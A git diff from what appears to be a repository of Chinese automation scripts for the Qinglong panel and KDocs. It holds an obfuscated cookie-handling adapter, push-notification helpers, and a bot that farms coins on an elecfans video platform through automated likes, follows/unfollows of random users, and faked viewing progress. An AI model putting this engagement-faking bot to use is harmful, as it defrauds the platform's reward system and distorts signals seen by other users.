_0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i -1) { + for (let idx in task.step) { + if (task.step[idx].com_status == 12) { + await $.wait(this.TASK_WAIT_TIME); + await this.receiveCoin(task); + break; + } else if (task.step[idx].com_status != 13) { + await $.wait(this.TASK_WAIT_TIME); + await this.viewVideoAdd(idx); + await $.wait(this.TASK_WAIT_TIME); + await this.receiveCoin(task); + break; + } + } + } else { + for (let idx in task.step) { + let step = task.step[idx] + if (step.com_status == 10) { + await $.wait(this.TASK_WAIT_TIME); + await this.taskReceive(task); + } + if (step.com_status == 12) { + await $.wait(this.TASK_WAIT_TIME); + await this.receiveCoin(task); + } else if (step.com_status != 13) { + let num = step.condition < 25 ? (step.condition - step.finish_progress) : 1 + let getReward = true; + for (let i = 0; i < num; i++) { + if (task.title.indexOf('点赞') > -1) { + let rndIdx = Math.floor(Math.random() * 2000) + 8000 + await $.wait(this.TASK_WAIT_TIME); + await this.thumbsup(rndIdx); + await $.wait(this.TASK_WAIT_TIME); + await this.thumbsup(rndIdx); + } else if (task.title.indexOf('观看直播') > -1) { + await $.wait(this.TASK_WAIT_TIME); + await this.finishLive(); + } else if (task.title.indexOf('关注') > -1) { + let uid = this.userIdList[i] ? this.userIdList[i] : Math.floor(Math.random() * 100000) + 4900000 + await $.wait(this.TASK_WAIT_TIME); + await this.doFollow(uid, 1); + await $.wait(this.TASK_WAIT_TIME); + await this.doFollow(uid, 2); + } else { + getReward = false; + } + } + if (getReward) { + await $.wait(this.TASK_WAIT_TIME); + await this.receiveCoin(task); + } + } + break; + } + } + } + } else { + console.log(`查询任务列表失败: ${result.message}`) + } + } catch (e) { + console.log(e) + } + } + + async taskReceive(task) { + try { + let param = { 'type': task.type } + let url = `https://yingsheng.elecfans.com/ysapi/wapi/activity/task/receive` + let body = JSON.stringify(param) + let headersParams = this.calculateSign(param, 'yingsheng') + let options = { + method: 'post', + url, + headers: { + ...headersParams, + "User-Agent": defaultUserAgent, + "Content-Type": "application/json" + }, + data: body + } + let { data: result } = await axios.request(options) + if (result.code == 0) { + console.log(`开始任务[${task.title}]成功`) + } else { + console.log(`开始任务[${task.title}]失败: ${result.message}`) + } + } catch (e) { + console.log(e) + } + } + + async receiveCoin(task) { + try { + let param = { 'type': task.type } + let url = `https://yingsheng.elecfans.com/ysapi/wapi/activity/task/receiveCoin` + let body = JSON.stringify(param) + let headersParams = this.calculateSign(param, 'yingsheng') + let options = { + method: 'post', + url, + headers: { + ...headersParams, + "User-Agent": defaultUserAgent, + "Content-Type": "application/json" + }, + data: body + } + let { data: result } = await axios.request(options) + if (result.code == 0) { + console.log(`领取任务[${task.title}]奖励获得${result.data.coins}硬币`) + } else { + console.log(`领取任务[${task.title}]奖励失败: ${result.message}`) + } + } catch (e) { + console.log(e) + } + } + + async thumbsup(video_id) { + try { + let param = { 'video_id': video_id } + let url = `https://ysapi.elecfans.com/api/video/publish/thumbsup` + let body = $.jsonToStr(param, '&') + let headersParams = this.calculateSign(param, 'ysapi') + let options = { + method: 'post', + url, + headers: { + ...headersParams, + "User-Agent": defaultUserAgent, + "Content-Type": "application/x-www-form-urlencoded" + }, + data: body + } + let { data: result } = await axios.request(options) + if (result.code == 0) { + console.log(`${result.data.msg}: video_id=${video_id}`) + } else { + console.log(`点赞[video_id=${video_id}]失败: ${result.message}`) + } + } catch (e) { + console.log(e) + } + } + + async viewVideoAdd(step) { + try { + let param = { 'step': step } + let url = `https://ysapi.elecfans.com/api/activity/task/viewVideo/add` + let body = $.jsonToStr(param, '&') + let headersParams = this.calculateSign(param, 'ysapi') + let options = { + method: 'post', + url, + headers: { + ...headersParams, + "User-Agent": defaultUserAgent, + "Content-Type": "application/x-www-form-urlencoded" + }, + data: body + } + let { data: result } = await axios.request(options) + if (result.code == 0) { + console.log(`刷新看视频进度[step=${step}]成功`) + } else { + console.log(`刷新看视频进度[step=${step}]失败: ${result.message}`) + } + } catch (e) { + console.log(e) + } + } + + async finishLive() { + try { + let param = {} + let url = `https://ysapi.elecfans.com/api/activity/task/live/finish` + let headersParams = this.calculateSign(param, 'ysapi') + let options = { + method: 'post', + url, + headers: { + ...headersParams, + "User-Agent": defaultUserAgent, + }, + data: '' + } + let { data: result } = await axios.request(options) + if (result.code == 0) { + console.log(`完成观看直播任务成功`) + } else { + console.log(`完成观看直播任务失败: ${result.message}`) + } + } catch (e) { + console.log(e) + } + } + + async recommendList() { + try { + let param = { page: 1 } + let url = `https://ysapi.elecfans.com/api/recommend/video/index?page=1` + let headersParams = this.calculateSign(param, 'ysapi') + let options = { + method: 'get', + url, + headers: { + ...headersParams, + "User-Agent": defaultUserAgent, + }, + } + let { data: result } = await axios.request(options) + if (result.code == 0) { + for (let item of result.data.data) { + this.userIdList.push(item.user_id) + } + } else { + console.log(`获取推荐列表失败: ${result.message}`) + } + } catch (e) { + console.log(e) + } + } + + async doFollow(user_id, type) { + try { + let param = { 'user_id': user_id, 'type': type } + let url = `https://ysapi.elecfans.com/api/member/follow` + let body = $.jsonToStr(param, '&') + let headersParams = this.calculateSign(param, 'ysapi') + let options = { + method: 'post', + url, + headers: { + ...headersParams, + "User-Agent": defaultUserAgent, + "Content-Type": "application/x-www-form-urlencoded" + }, + data: body + } + let { data: result } = await axios.request(options) + let str = type == 1 ? '关注' : '取消关注' + if (result.code == 0) { + console.log(`${str}用户[${user_id}]成功`) + } else { + console.log(`${str}用户[${user_id}]失败: ${result.message}`) + } + } catch (e) { + console.log(e) + } + } +} + + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} \ No newline at end of file diff --git a/脚本库/web版/账密/神回复/2025-08-25_shenhuifu_2d02f196.js b/脚本库/web版/账密/神回复/2025-08-25_shenhuifu_2d02f196.js new file mode 100644 index 0000000..a693f85 --- /dev/null +++ b/脚本库/web版/账密/神回复/2025-08-25_shenhuifu_2d02f196.js @@ -0,0 +1,637 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/shenhuifu.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/shenhuifu.js +// # Repo: imoki/sign_script +// # Path: polymerization/shenhuifu.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 2d02f19653f743dbcc64f895e781ba9cc8e203ec9c9962d5f9573532080d4162 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "神回复" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:shenhuifu + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "shenhuifu"; // 分配置表名称, (修改这里) +var pushHeader = "【神回复】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 